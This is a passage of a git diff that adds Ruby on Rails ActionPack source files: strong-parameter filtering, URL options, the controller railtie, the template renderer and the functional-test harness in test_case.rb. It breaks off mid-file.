+        if has_key?(key) && permitted_scalar?(self[key])
+          params[key] = self[key]
+        end
+
+        keys.grep(/\A#{Regexp.escape(key)}\(\d+[if]?\)\z/) do |k|
+          if permitted_scalar?(self[k])
+            params[k] = self[k]
+          end
+        end
+      end
+
+      def array_of_permitted_scalars?(value)
+        if value.is_a?(Array) && value.all? { |element| permitted_scalar?(element) }
+          yield value
+        end
+      end
+
+      def non_scalar?(value)
+        value.is_a?(Array) || value.is_a?(Parameters)
+      end
+
+      EMPTY_ARRAY = []
+      EMPTY_HASH  = {}
+      def hash_filter(params, filter)
+        filter = filter.with_indifferent_access
+
+        # Slicing filters out non-declared keys.
+        slice(*filter.keys).each do |key, value|
+          next unless value
+          next unless has_key? key
+
+          if filter[key] == EMPTY_ARRAY
+            # Declaration { comment_ids: [] }.
+            array_of_permitted_scalars?(self[key]) do |val|
+              params[key] = val
+            end
+          elsif filter[key] == EMPTY_HASH
+            # Declaration { preferences: {} }.
+            if value.is_a?(Parameters)
+              params[key] = permit_any_in_parameters(value)
+            end
+          elsif non_scalar?(value)
+            # Declaration { user: :name } or { user: [:name, :age, { address: ... }] }.
+            params[key] = each_element(value) do |element|
+              element.permit(*Array.wrap(filter[key]))
+            end
+          end
+        end
+      end
+
+      def permit_any_in_parameters(params)
+        self.class.new.tap do |sanitized|
+          params.each do |key, value|
+            case value
+            when ->(v) { permitted_scalar?(v) }
+              sanitized[key] = value
+            when Array
+              sanitized[key] = permit_any_in_array(value)
+            when Parameters
+              sanitized[key] = permit_any_in_parameters(value)
+            else
+              # Filter this one out.
+            end
+          end
+        end
+      end
+
+      def permit_any_in_array(array)
+        [].tap do |sanitized|
+          array.each do |element|
+            case element
+            when ->(e) { permitted_scalar?(e) }
+              sanitized << element
+            when Parameters
+              sanitized << permit_any_in_parameters(element)
+            else
+              # Filter this one out.
+            end
+          end
+        end
+      end
+
+      def initialize_copy(source)
+        super
+        @parameters = @parameters.dup
+      end
+  end
+
+  # == Strong \Parameters
+  #
+  # It provides an interface for protecting attributes from end-user
+  # assignment. This makes Action Controller parameters forbidden
+  # to be used in Active Model mass assignment until they have been
+  # whitelisted.
+  #
+  # In addition, parameters can be marked as required and flow through a
+  # predefined raise/rescue flow to end up as a <tt>400 Bad Request</tt> with no
+  # effort.
+  #
+  #   class PeopleController < ActionController::Base
+  #     # Using "Person.create(params[:person])" would raise an
+  #     # ActiveModel::ForbiddenAttributesError exception because it'd
+  #     # be using mass assignment without an explicit permit step.
+  #     # This is the recommended form:
+  #     def create
+  #       Person.create(person_params)
+  #     end
+  #
+  #     # This will pass with flying colors as long as there's a person key in the
+  #     # parameters, otherwise it'll raise an ActionController::ParameterMissing
+  #     # exception, which will get caught by ActionController::Base and turned
+  #     # into a 400 Bad Request reply.
+  #     def update
+  #       redirect_to current_account.people.find(params[:id]).tap { |person|
+  #         person.update!(person_params)
+  #       }
+  #     end
+  #
+  #     private
+  #       # Using a private method to encapsulate the permissible parameters is
+  #       # a good pattern since you'll be able to reuse the same permit
+  #       # list between create and update. Also, you can specialize this method
+  #       # with per-user checking of permissible attributes.
+  #       def person_params
+  #         params.require(:person).permit(:name, :age)
+  #       end
+  #   end
+  #
+  # In order to use <tt>accepts_nested_attributes_for</tt> with Strong \Parameters, you
+  # will need to specify which nested attributes should be whitelisted. You might want
+  # to allow +:id+ and +:_destroy+, see ActiveRecord::NestedAttributes for more information.
+  #
+  #   class Person
+  #     has_many :pets
+  #     accepts_nested_attributes_for :pets
+  #   end
+  #
+  #   class PeopleController < ActionController::Base
+  #     def create
+  #       Person.create(person_params)
+  #     end
+  #
+  #     ...
+  #
+  #     private
+  #
+  #       def person_params
+  #         # It's mandatory to specify the nested attributes that should be whitelisted.
+  #         # If you use `permit` with just the key that points to the nested attributes hash,
+  #         # it will return an empty hash.
+  #         params.require(:person).permit(:name, :age, pets_attributes: [ :id, :name, :category ])
+  #       end
+  #   end
+  #
+  # See ActionController::Parameters.require and ActionController::Parameters.permit
+  # for more information.
+  module StrongParameters
+    extend ActiveSupport::Concern
+    include ActiveSupport::Rescuable
+
+    # Returns a new ActionController::Parameters object that
+    # has been instantiated with the <tt>request.parameters</tt>.
+    def params
+      @_params ||= Parameters.new(request.parameters)
+    end
+
+    # Assigns the given +value+ to the +params+ hash. If +value+
+    # is a Hash, this will create an ActionController::Parameters
+    # object that has been instantiated with the given +value+ hash.
+    def params=(value)
+      @_params = value.is_a?(Hash) ? Parameters.new(value) : value
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/testing.rb b/actionpack/lib/action_controller/metal/testing.rb
new file mode 100644
index 0000000000..b07f1f3d8c
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/testing.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module ActionController
+  module Testing
+    extend ActiveSupport::Concern
+
+    # Behavior specific to functional tests
+    module Functional # :nodoc:
+      def recycle!
+        @_url_options = nil
+        self.formats = nil
+        self.params = nil
+      end
+    end
+
+    module ClassMethods
+      def before_filters
+        _process_action_callbacks.find_all { |x| x.kind == :before }.map(&:name)
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/url_for.rb b/actionpack/lib/action_controller/metal/url_for.rb
new file mode 100644
index 0000000000..84dbb59a63
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/url_for.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+
+module ActionController
+  # Includes +url_for+ into the host class. The class has to provide a +RouteSet+ by implementing
+  # the <tt>_routes</tt> method. Otherwise, an exception will be raised.
+  #
+  # In addition to <tt>AbstractController::UrlFor</tt>, this module accesses the HTTP layer to define
+  # URL options like the +host+. In order to do so, this module requires the host class
+  # to implement +env+ which needs to be Rack-compatible and +request+
+  # which is either an instance of +ActionDispatch::Request+ or an object
+  # that responds to the +host+, +optional_port+, +protocol+ and
+  # +symbolized_path_parameter+ methods.
+  #
+  #   class RootUrl
+  #     include ActionController::UrlFor
+  #     include Rails.application.routes.url_helpers
+  #
+  #     delegate :env, :request, to: :controller
+  #
+  #     def initialize(controller)
+  #       @controller = controller
+  #       @url        = root_path # named route from the application.
+  #     end
+  #   end
+  module UrlFor
+    extend ActiveSupport::Concern
+
+    include AbstractController::UrlFor
+
+    def url_options
+      @_url_options ||= {
+        host: request.host,
+        port: request.optional_port,
+        protocol: request.protocol,
+        _recall: request.path_parameters
+      }.merge!(super).freeze
+
+      if (same_origin = _routes.equal?(request.routes)) ||
+         (script_name = request.engine_script_name(_routes)) ||
+         (original_script_name = request.original_script_name)
+
+        options = @_url_options.dup
+        if original_script_name
+          options[:original_script_name] = original_script_name
+        else
+          if same_origin
+            options[:script_name] = request.script_name.empty? ? "".freeze : request.script_name.dup
+          else
+            options[:script_name] = script_name
+          end
+        end
+        options.freeze
+      else
+        @_url_options
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/railtie.rb b/actionpack/lib/action_controller/railtie.rb
new file mode 100644
index 0000000000..7dea22931c
--- /dev/null
+++ b/actionpack/lib/action_controller/railtie.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+require "rails"
+require "action_controller"
+require "action_dispatch/railtie"
+require "abstract_controller/railties/routes_helpers"
+require_relative "railties/helpers"
+require "action_view/railtie"
+
+module ActionController
+  class Railtie < Rails::Railtie #:nodoc:
+    config.action_controller = ActiveSupport::OrderedOptions.new
+
+    config.eager_load_namespaces << ActionController
+
+    initializer "action_controller.assets_config", group: :all do |app|
+      app.config.action_controller.assets_dir ||= app.config.paths["public"].first
+    end
+
+    initializer "action_controller.set_helpers_path" do |app|
+      ActionController::Helpers.helpers_path = app.helpers_paths
+    end
+
+    initializer "action_controller.parameters_config" do |app|
+      options = app.config.action_controller
+
+      ActiveSupport.on_load(:action_controller) do
+        ActionController::Parameters.permit_all_parameters = options.delete(:permit_all_parameters) { false }
+        if app.config.action_controller[:always_permitted_parameters]
+          ActionController::Parameters.always_permitted_parameters =
+            app.config.action_controller.delete(:always_permitted_parameters)
+        end
+        ActionController::Parameters.action_on_unpermitted_parameters = options.delete(:action_on_unpermitted_parameters) do
+          (Rails.env.test? || Rails.env.development?) ? :log : false
+        end
+      end
+    end
+
+    initializer "action_controller.set_configs" do |app|
+      paths   = app.config.paths
+      options = app.config.action_controller
+
+      options.logger      ||= Rails.logger
+      options.cache_store ||= Rails.cache
+
+      options.javascripts_dir ||= paths["public/javascripts"].first
+      options.stylesheets_dir ||= paths["public/stylesheets"].first
+
+      # Ensure readers methods get compiled.
+      options.asset_host        ||= app.config.asset_host
+      options.relative_url_root ||= app.config.relative_url_root
+
+      ActiveSupport.on_load(:action_controller) do
+        include app.routes.mounted_helpers
+        extend ::AbstractController::Railties::RoutesHelpers.with(app.routes)
+        extend ::ActionController::Railties::Helpers
+
+        options.each do |k, v|
+          k = "#{k}="
+          if respond_to?(k)
+            send(k, v)
+          elsif !Base.respond_to?(k)
+            raise "Invalid option key: #{k}"
+          end
+        end
+      end
+    end
+
+    initializer "action_controller.compile_config_methods" do
+      ActiveSupport.on_load(:action_controller) do
+        config.compile_methods! if config.respond_to?(:compile_methods!)
+      end
+    end
+
+    initializer "action_controller.request_forgery_protection" do |app|
+      ActiveSupport.on_load(:action_controller_base) do
+        if app.config.action_controller.default_protect_from_forgery
+          protect_from_forgery with: :exception
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/railties/helpers.rb b/actionpack/lib/action_controller/railties/helpers.rb
new file mode 100644
index 0000000000..fa746fa9e8
--- /dev/null
+++ b/actionpack/lib/action_controller/railties/helpers.rb
@@ -0,0 +1,24 @@
+# frozen_string_literal: true
+
+module ActionController
+  module Railties
+    module Helpers
+      def inherited(klass)
+        super
+        return unless klass.respond_to?(:helpers_path=)
+
+        if namespace = klass.parents.detect { |m| m.respond_to?(:railtie_helpers_paths) }
+          paths = namespace.railtie_helpers_paths
+        else
+          paths = ActionController::Helpers.helpers_path
+        end
+
+        klass.helpers_path = paths
+
+        if klass.superclass == ActionController::Base && ActionController::Base.include_all_helpers
+          klass.helper :all
+        end
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/renderer.rb b/actionpack/lib/action_controller/renderer.rb
new file mode 100644
index 0000000000..49c5b782f0
--- /dev/null
+++ b/actionpack/lib/action_controller/renderer.rb
@@ -0,0 +1,117 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+
+module ActionController
+  # ActionController::Renderer allows you to render arbitrary templates
+  # without requirement of being in controller actions.
+  #
+  # You get a concrete renderer class by invoking ActionController::Base#renderer.
+  # For example:
+  #
+  #   ApplicationController.renderer
+  #
+  # It allows you to call method #render directly.
+  #
+  #   ApplicationController.renderer.render template: '...'
+  #
+  # You can use this shortcut in a controller, instead of the previous example:
+  #
+  #   ApplicationController.render template: '...'
+  #
+  # #render allows you to use the same options that you can use when rendering in a controller.
+  # For example:
+  #
+  #   FooController.render :action, locals: { ... }, assigns: { ... }
+  #
+  # The template will be rendered in a Rack environment which is accessible through
+  # ActionController::Renderer#env. You can set it up in two ways:
+  #
+  # *  by changing renderer defaults, like
+  #
+  #       ApplicationController.renderer.defaults # => hash with default Rack environment
+  #
+  # *  by initializing an instance of renderer by passing it a custom environment.
+  #
+  #       ApplicationController.renderer.new(method: 'post', https: true)
+  #
+  class Renderer
+    attr_reader :defaults, :controller
+
+    DEFAULTS = {
+      http_host: "example.org",
+      https: false,
+      method: "get",
+      script_name: "",
+      input: ""
+    }.freeze
+
+    # Create a new renderer instance for a specific controller class.
+    def self.for(controller, env = {}, defaults = DEFAULTS.dup)
+      new(controller, env, defaults)
+    end
+
+    # Create a new renderer for the same controller but with a new env.
+    def new(env = {})
+      self.class.new controller, env, defaults
+    end
+
+    # Create a new renderer for the same controller but with new defaults.
+    def with_defaults(defaults)
+      self.class.new controller, @env, self.defaults.merge(defaults)
+    end
+
+    # Accepts a custom Rack environment to render templates in.
+    # It will be merged with the default Rack environment defined by
+    # +ActionController::Renderer::DEFAULTS+.
+    def initialize(controller, env, defaults)
+      @controller = controller
+      @defaults = defaults
+      @env = normalize_keys defaults.merge(env)
+    end
+
+    # Render templates with any options from ActionController::Base#render_to_string.
+    def render(*args)
+      raise "missing controller" unless controller
+
+      request = ActionDispatch::Request.new @env
+      request.routes = controller._routes
+
+      instance = controller.new
+      instance.set_request! request
+      instance.set_response! controller.make_response!(request)
+      instance.render_to_string(*args)
+    end
+
+    private
+      def normalize_keys(env)
+        new_env = {}
+        env.each_pair { |k, v| new_env[rack_key_for(k)] = rack_value_for(k, v) }
+        new_env["rack.url_scheme"] = new_env["HTTPS"] == "on" ? "https" : "http"
+        new_env
+      end
+
+      RACK_KEY_TRANSLATION = {
+        http_host:   "HTTP_HOST",
+        https:       "HTTPS",
+        method:      "REQUEST_METHOD",
+        script_name: "SCRIPT_NAME",
+        input:       "rack.input"
+      }
+
+      IDENTITY = ->(_) { _ }
+
+      RACK_VALUE_TRANSLATION = {
+        https: ->(v) { v ? "on" : "off" },
+        method: ->(v) { v.upcase },
+      }
+
+      def rack_key_for(key)
+        RACK_KEY_TRANSLATION.fetch(key, key.to_s)
+      end
+
+      def rack_value_for(key, value)
+        RACK_VALUE_TRANSLATION.fetch(key, IDENTITY).call value
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/template_assertions.rb b/actionpack/lib/action_controller/template_assertions.rb
new file mode 100644
index 0000000000..dd83c1a283
--- /dev/null
+++ b/actionpack/lib/action_controller/template_assertions.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module ActionController
+  module TemplateAssertions
+    def assert_template(options = {}, message = nil)
+      raise NoMethodError,
+        "assert_template has been extracted to a gem. To continue using it,
+        add `gem 'rails-controller-testing'` to your Gemfile."
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/test_case.rb b/actionpack/lib/action_controller/test_case.rb
new file mode 100644
index 0000000000..50a96bce98
--- /dev/null
+++ b/actionpack/lib/action_controller/test_case.rb
@@ -0,0 +1,626 @@
+# frozen_string_literal: true
+
+require "rack/session/abstract/id"
+require "active_support/core_ext/hash/conversions"
+require "active_support/core_ext/object/to_query"
+require "active_support/core_ext/module/anonymous"
+require "active_support/core_ext/hash/keys"
+require "active_support/testing/constant_lookup"
+require_relative "template_assertions"
+require "rails-dom-testing"
+
+module ActionController
+  class Metal
+    include Testing::Functional
+  end
+
+  module Live
+    # Disable controller / rendering threads in tests. User tests can access
+    # the database on the main thread, so they could open a txn, then the
+    # controller thread will open a new connection and try to access data
+    # that's only visible to the main thread's txn. This is the problem in #23483.
+    remove_method :new_controller_thread
+    def new_controller_thread # :nodoc:
+      yield
+    end
+  end
+
+  # ActionController::TestCase will be deprecated and moved to a gem in Rails 5.1.
+  # Please use ActionDispatch::IntegrationTest going forward.
+  class TestRequest < ActionDispatch::TestRequest #:nodoc:
+    DEFAULT_ENV = ActionDispatch::TestRequest::DEFAULT_ENV.dup
+    DEFAULT_ENV.delete "PATH_INFO"
+
+    def self.new_session
+      TestSession.new
+    end
+
+    attr_reader :controller_class
+
+    # Create a new test request with default `env` values.
+    def self.create(controller_class)
+      env = {}
+      env = Rails.application.env_config.merge(env) if defined?(Rails.application) && Rails.application
+      env["rack.request.cookie_hash"] = {}.with_indifferent_access
+      new(default_env.merge(env), new_session, controller_class)
+    end
+
+    def self.default_env
+      DEFAULT_ENV
+    end
+    private_class_method :default_env
+
+    def initialize(env, session, controller_class)
+      super(env)
+
+      self.session = session
+      self.session_options = TestSession::DEFAULT_OPTIONS.dup
+      @controller_class = controller_class
+      @custom_param_parsers = {
+        xml: lambda { |raw_post| Hash.from_xml(raw_post)["hash"] }
+      }
+    end
+
+    def query_string=(string)
+      set_header Rack::QUERY_STRING, string
+    end
+
+    def content_type=(type)
+      set_header "CONTENT_TYPE", type
+    end
+
+    def assign_parameters(routes, controller_path, action, parameters, generated_path, query_string_keys)
+      non_path_parameters = {}
+      path_parameters = {}
+
+      parameters.each do |key, value|
+        if query_string_keys.include?(key)
+          non_path_parameters[key] = value
+        else
+          if value.is_a?(Array)
+            value = value.map(&:to_param)
+          else
+            value = value.to_param
+          end
+
+          path_parameters[key] = value
+        end
+      end
+
+      if get?
+        if query_string.blank?
+          self.query_string = non_path_parameters.to_query
+        end
+      else
+        if ENCODER.should_multipart?(non_path_parameters)
+          self.content_type = ENCODER.content_type
+          data = ENCODER.build_multipart non_path_parameters
+        else
+          fetch_header("CONTENT_TYPE") do |k|
+            set_header k, "application/x-www-form-urlencoded"
+          end
+
+          case content_mime_type.to_sym
+          when nil
+            raise "Unknown Content-Type: #{content_type}"
+          when :json
+            data = ActiveSupport::JSON.encode(non_path_parameters)
+          when :xml
+            data = non_path_parameters.to_xml
+          when :url_encoded_form
+            data = non_path_parameters.to_query
+          else
+            @custom_param_parsers[content_mime_type.symbol] = ->(_) { non_path_parameters }
+            data = non_path_parameters.to_query
+          end
+        end
+
+        data_stream = StringIO.new(data)
+        set_header "CONTENT_LENGTH", data_stream.length.to_s
+        set_header "rack.input", data_stream
+      end
+
+      fetch_header("PATH_INFO") do |k|
+        set_header k, generated_path
+      end
+      path_parameters[:controller] = controller_path
+      path_parameters[:action] = action
+
+      self.path_parameters = path_parameters
+    end
+
+    ENCODER = Class.new do
+      include Rack::Test::Utils
+
+      def should_multipart?(params)
+        # FIXME: lifted from Rack-Test. We should push this separation upstream.
+        multipart = false
+        query = lambda { |value|
+          case value
+          when Array
+            value.each(&query)
+          when Hash
+            value.values.each(&query)
+          when Rack::Test::UploadedFile
+            multipart = true
+          end
+        }
+        params.values.each(&query)
+        multipart
+      end
+
+      public :build_multipart
+
+      def content_type
+        "multipart/form-data; boundary=#{Rack::Test::MULTIPART_BOUNDARY}"
+      end
+    end.new
+
+    private
+
+      def params_parsers
+        super.merge @custom_param_parsers
+      end
+  end
+
+  class LiveTestResponse < Live::Response
+    # Was the response successful?
+    alias_method :success?, :successful?
+
+    # Was the URL not found?
+    alias_method :missing?, :not_found?
+
+    # Was there a server-side error?
+    alias_method :error?, :server_error?
+  end
+
+  # Methods #destroy and #load! are overridden to avoid calling methods on the
+  # @store object, which does not exist for the TestSession class.
+  class TestSession < Rack::Session::Abstract::SessionHash #:nodoc:
+    DEFAULT_OPTIONS = Rack::Session::Abstract::Persisted::DEFAULT_OPTIONS
+
+    def initialize(session = {})
+      super(nil, nil)
+      @id = SecureRandom.hex(16)
+      @data = stringify_keys(session)
+      @loaded = true
+    end
+
+    def exists?
+      true
+    end
+
+    def keys
+      @data.keys
+    end
+
+    def values
+      @data.values
+    end
+
+    def destroy
+      clear
+    end
+
+    def fetch(key, *args, &block)
+      @data.fetch(key.to_s, *args, &block)
+    end
+
+    private
+
+      def load!
+        @id
+      end
+  end
+
+  # Superclass for ActionController functional tests. Functional tests allow you to
+  # test a single controller action per test method.
+  #
+  # == Use integration style controller tests over functional style controller tests.
+  #
+  # Rails discourages the use of functional tests in favor of integration tests
+  # (use ActionDispatch::IntegrationTest).
+  #
+  # New Rails applications no longer generate functional style controller tests and they should
+  # only be used for backward compatibility. Integration style controller tests perform actual
+  # requests, whereas functional style controller tests merely simulate a request. Besides,
+  # integration tests are as fast as functional tests and provide lot of helpers such as +as+,
+  # +parsed_body+ for effective testing of controller actions including even API endpoints.
+  #
+  # == Basic example
+  #
+  # Functional tests are written as follows:
+  # 1. First, one uses the +get+, +post+, +patch+, +put+, +delete+ or +head+ method to simulate
+  #    an HTTP request.
+  # 2. Then, one asserts whether the current state is as expected. "State" can be anything:
+  #    the controller's HTTP response, the database contents, etc.
+  #
+  # For example:
+  #
+  #   class BooksControllerTest < ActionController::TestCase
+  #     def test_create
+  #       # Simulate a POST response with the given HTTP parameters.
+  #       post(:create, params: { book: { title: "Love Hina" }})
+  #
+  #       # Asserts that the controller tried to redirect us to
+  #       # the created book's URI.
+  #       assert_response :found
+  #
+  #       # Asserts that the controller really put the book in the database.
+  #       assert_not_nil Book.find_by(title: "Love Hina")
+  #     end
+  #   end
+  #
+  # You can also send a real document in the simulated HTTP request.
+  #
+  #   def test_create
+  #     json = {book: { title: "Love Hina" }}.to_json
+  #     post :create, json
+  #   end
+  #
+  # == Special instance variables
+  #
+  # ActionController::TestCase will also automatically provide the following instance
+  # variables for use in the tests:
+  #
+  # <b>@controller</b>::
+  #      The controller instance that will be tested.
+  # <b>@request</b>::
+  #      An ActionController::TestRequest, representing the current HTTP
+  #      request. You can modify this object before sending the HTTP request. For example,
+  #      you might want to set some session properties before sending a GET request.
+  # <b>@response</b>::
+  #      An ActionDispatch::TestResponse object, representing the response
+  #      of the last HTTP response. In the above example, <tt>@response</tt> becomes valid
+  #      after calling +post+. If the various assert methods are not sufficient, then you
+  #      may use this object to inspect the HTTP response in detail.
+  #
+  # (Earlier versions of \Rails required each functional test to subclass
+  # Test::Unit::TestCase and define @controller, @request, @response in +setup+.)
+  #
+  # == Controller is automatically inferred
+  #
+  # ActionController::TestCase will automatically infer the controller under test
+  # from the test class name. If the controller cannot be inferred from the test
+  # class name, you can explicitly set it with +tests+.
+  #
+  #   class SpecialEdgeCaseWidgetsControllerTest < ActionController::TestCase
+  #     tests WidgetController
+  #   end
+  #
+  # == \Testing controller internals
+  #
+  # In addition to these specific assertions, you also have easy access to various collections that the regular test/unit assertions
+  # can be used against. These collections are:
+  #
+  # * session: Objects being saved in the session.
+  # * flash: The flash objects currently in the session.
+  # * cookies: \Cookies being sent to the user on this request.
+  #
+  # These collections can be used just like any other hash:
+  #
+  #   assert_equal "Dave", cookies[:name] # makes sure that a cookie called :name was set as "Dave"
+  #   assert flash.empty? # makes sure that there's nothing in the flash
+  #
+  # On top of the collections, you have the complete URL that a given action redirected to available in <tt>redirect_to_url</tt>.
+  #
+  # For redirects within the same controller, you can even call follow_redirect and the redirect will be followed, triggering another
+  # action call which can then be asserted against.
+  #
+  # == Manipulating session and cookie variables
+  #
+  # Sometimes you need to set up the session and cookie variables for a test.
+  # To do this just assign a value to the session or cookie collection:
+  #
+  #   session[:key] = "value"
+  #   cookies[:key] = "value"
+  #
+  # To clear the cookies for a test just clear the cookie collection:
+  #
+  #   cookies.clear
+  #
+  # == \Testing named routes
+  #
+  # If you're using named routes, they can be easily tested using the original named routes' methods straight in the test case.
+  #
+  #  assert_redirected_to page_url(title: 'foo')
+  class TestCase < ActiveSupport::TestCase
+    module Behavior
+      extend ActiveSupport::Concern
+      include ActionDispatch::TestProcess
+      include ActiveSupport::Testing::ConstantLookup
+      include Rails::Dom::Testing::Assertions
+
+      attr_reader :response, :request
+
+      module ClassMethods
+        # Sets the controller class name. Useful if the name can't be inferred from test class.
+        # Normalizes +controller_class+ before using.
+        #
+        #   tests WidgetController
+        #   tests :widget
+        #   tests 'widget'
+        def tests(controller_class)
+          case controller_class
+          when String, Symbol
+            self.controller_class = "#{controller_class.to_s.camelize}Controller".constantize
+          when Class
+            self.controller_class = controller_class
+          else
+            raise ArgumentError, "controller class must be a String, Symbol, or Class"
+          end
+        end
+
+        def controller_class=(new_class)
+          self._controller_class = new_class
+        end
+
+        def controller_class
+          if current_controller_class = _controller_class
+            current_controller_class
+          else
+            self.controller_class = determine_default_controller_class(name)
+          end
+        end
+
+        def determine_default_controller_class(name)
+          determine_constant_from_test_name(name) do |constant|
+            Class === constant && constant < ActionController::Metal
+          end
+        end
+      end
+
+      # Simulate a GET request with the given parameters.
+      #
+      # - +action+: The controller action to call.
+      # - +params+: The hash with HTTP parameters that you want to pass. This may be +nil+.
+      # - +body+: The request body with a string that is appropriately encoded
+      #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
+      # - +session+: A hash of parameters to store in the session. This may be +nil+.
+      # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+      #
+      # You can also simulate POST, PATCH, PUT, DELETE, and HEAD requests with
+      # +post+, +patch+, +put+, +delete+, and +head+.
+      # Example sending parameters, session and setting a flash message:
+      #
+      #   get :show,
+      #     params: { id: 7 },
+      #     session: { user_id: 1 },
+      #     flash: { notice: 'This is flash message' }
+      #
+      # Note that the request method is not verified. The different methods are
+      # available to make the tests more expressive.
+      def get(action, **args)
+        res = process(action, method: "GET", **args)
+        cookies.update res.cookies
+        res
+      end
+
+      # Simulate a POST request with the given parameters and set/volley the response.
+      # See +get+ for more details.
+      def post(action, **args)
+        process(action, method: "POST", **args)
+      end
+
+      # Simulate a PATCH request with the given parameters and set/volley the response.
+      # See +get+ for more details.
+      def patch(action, **args)
+        process(action, method: "PATCH", **args)
+      end
+
+      # Simulate a PUT request with the given parameters and set/volley the response.
+      # See +get+ for more details.
+      def put(action, **args)
+        process(action, method: "PUT", **args)
+      end
+
+      # Simulate a DELETE request with the given parameters and set/volley the response.
+      # See +get+ for more details.
+      def delete(action, **args)
+        process(action, method: "DELETE", **args)
+      end
+
+      # Simulate a HEAD request with the given parameters and set/volley the response.
+      # See +get+ for more details.
+      def head(action, **args)
+        process(action, method: "HEAD", **args)
+      end
+
+      # Simulate an HTTP request to +action+ by specifying request method,
+      # parameters and set/volley the response.
+      #
+      # - +action+: The controller action to call.
+      # - +method+: Request method used to send the HTTP request. Possible values
+      #   are +GET+, +POST+, +PATCH+, +PUT+, +DELETE+, +HEAD+. Defaults to +GET+. Can be a symbol.
+      # - +params+: The hash with HTTP parameters that you want to pass. This may be +nil+.
+      # - +body+: The request body with a string that is appropriately encoded
+      #   (<tt>application/x-www-form-urlencoded</tt> or <tt>multipart/form-data</tt>).
+      # - +session+: A hash of parameters to store in the session. This may be +nil+.
+      # - +flash+: A hash of parameters to store in the flash. This may be +nil+.
+      # - +format+: Request format. Defaults to +nil+. Can be string or symbol.
+      # - +as+: Content type. Defaults to +nil+. Must be a symbol that corresponds
+      #   to a mime type.
+      #
+      # Example calling +create+ action and sending two params:
+      #
+      #   process :create,
+      #     method: 'POST',
+      #     params: {
+      #       user: { name: 'Gaurish Sharma', email: 'user@example.com' }
+      #     },
+      #     session: { user_id: 1 },
+      #     flash: { notice: 'This is flash message' }
+      #
+      # To simulate +GET+, +POST+, +PATCH+, +PUT+, +DELETE+ and +HEAD+ requests
+      # prefer using #get, #post, #patch, #put, #delete and #head methods
+      # respectively which will make tests more expressive.
+      #
+      # Note that the request method is not verified.
+      def process(action, method: "GET", params: {}, session: nil, body: nil, flash: {}, format: nil, xhr: false, as: nil)
+        check_required_ivars
+
+        if body
+          @request.set_header "RAW_POST_DATA", body
+        end
+
+        http_method = method.to_s.upcase
+
+        @html_document = nil
+
+        cookies.update(@request.cookies)
+        cookies.update_cookies_from_jar
+        @request.set_header "HTTP_COOKIE", cookies.to_header
+        @request.delete_header "action_dispatch.cookies"
+
+        @request          = TestRequest.new scrub_env!(@request.env), @request.session, @controller.class
+        @response         = build_response @response_klass
+        @response.request = @request
+        @controller.recycle!
+
+        @request.set_header "REQUEST_METHOD", http_method
+
+        if as
+          @request.content_type = Mime[as].to_s
+          format ||= as
+        end
+
+        parameters = params.symbolize_keys
+
+        if format
+          parameters[:format] = format
+        end
+
+        generated_extras = @routes.generate_extras(parameters.merge(controller: controller_class_name, action: action.to_s))
+        generated_path = generated_path(generated_extras)
+        query_string_keys = query_parameter_names(generated_extras)
+
+        @request.assign_parameters(@routes, controller_class_name, action.to_s, parameters, generated_path, query_string_keys)
+
+        @request.session.update(session) if session
+        @request.flash.update(flash || {})
+
+        if xhr
+          @request.set_header "HTTP_X_REQUESTED_WITH", "XMLHttpRequest"
+          @request.fetch_header("HTTP_ACCEPT") do |k|
+            @request.set_header k, [Mime[:js], Mime[:html], Mime[:xml], "text/xml", "*/*"].join(", ")
+          end
+        end
+
+        @request.fetch_header("SCRIPT_NAME") do |k|
+          @request.set_header k, @controller.config.relative_url_root
+        end
+
+        begin
+          @controller.recycle!
+          @controller.dispatch(action, @request, @response)
+        ensure
+          @request = @controller.request
+          @response = @controller.response
+
+          if @request.have_cookie_jar?
+            unless @request.cookie_jar.committed?
+              @request.cookie_jar.write(@response)
+              cookies.update(@request.cookie_jar.instance_variable_get(:@cookies))
+            end
+          end
+          @response.prepare!
+
+          if flash_value = @request.flash.to_session_value
+            @request.session["flash"] = flash_value
+          else
+            @request.session.delete("flash")
+          end
+
+          if xhr
+            @request.delete_header "HTTP_X_REQUESTED_WITH"
+            @request.delete_header "HTTP_ACCEPT"
+          end
+          @request.query_string = ""
+
+          @response.sent!
+        end
+
+        @response
+      end
+
+      def controller_class_name
+        @controller.class.anonymous? ? "anonymous" : @controller.class.controller_path
+      end
+
+      def generated_path(generated_extras)
+        generated_extras[0]
+      end
+
+      def query_parameter_names(generated_extras)
+        generated_extras[1] + [:controller, :action]
+      end
+
+      def setup_controller_request_and_response
+        @controller = nil unless defined? @controller
+
+        @response_klass = ActionDispatch::TestResponse
+
+        if klass = self.class.controller_class
+          if klass < ActionController::Live
+            @response_klass = LiveTestResponse
+          end
+          unless @controller
+            begin
+              @controller = klass.new
+            rescue
+              warn "could not construct controller #{klass}" if $VERBOSE
+            end
+          end
+        end
+
+        @request          = TestRequest.create(@controller.class)
+        @response         = build_response @response_klass
+        @response.request = @request
+
+        if @controller
+          @controller.request = @request
+          @controller.params = {}
+        end
+      end
+
+      def build_response(klass)
+        klass.create
+      end
+
+      included do
+        include ActionController::TemplateAssertions
+        include ActionDispatch::Assertions
+        class_attribute :_controller_class
+        setup :setup_controller_request_and_response
+        ActiveSupport.run_load_hooks(:action_controller_test_case, self)
+      end
+
+      private
+
+        def scrub_env!(env)
+          env.delete_if { |k, v| k =~ /^(action_dispatch|rack)\.request/ }
+          env.delete_if { |k, v| k =~ /^action_dispatch\.rescue/ }
+          env.delete "action_dispatch.request.query_parameters"
+          env.delete "action_dispatch.request.request_parameters"
+          env["rack.input"] = StringIO.new
+          env
+        end
+
+        def document_root_element
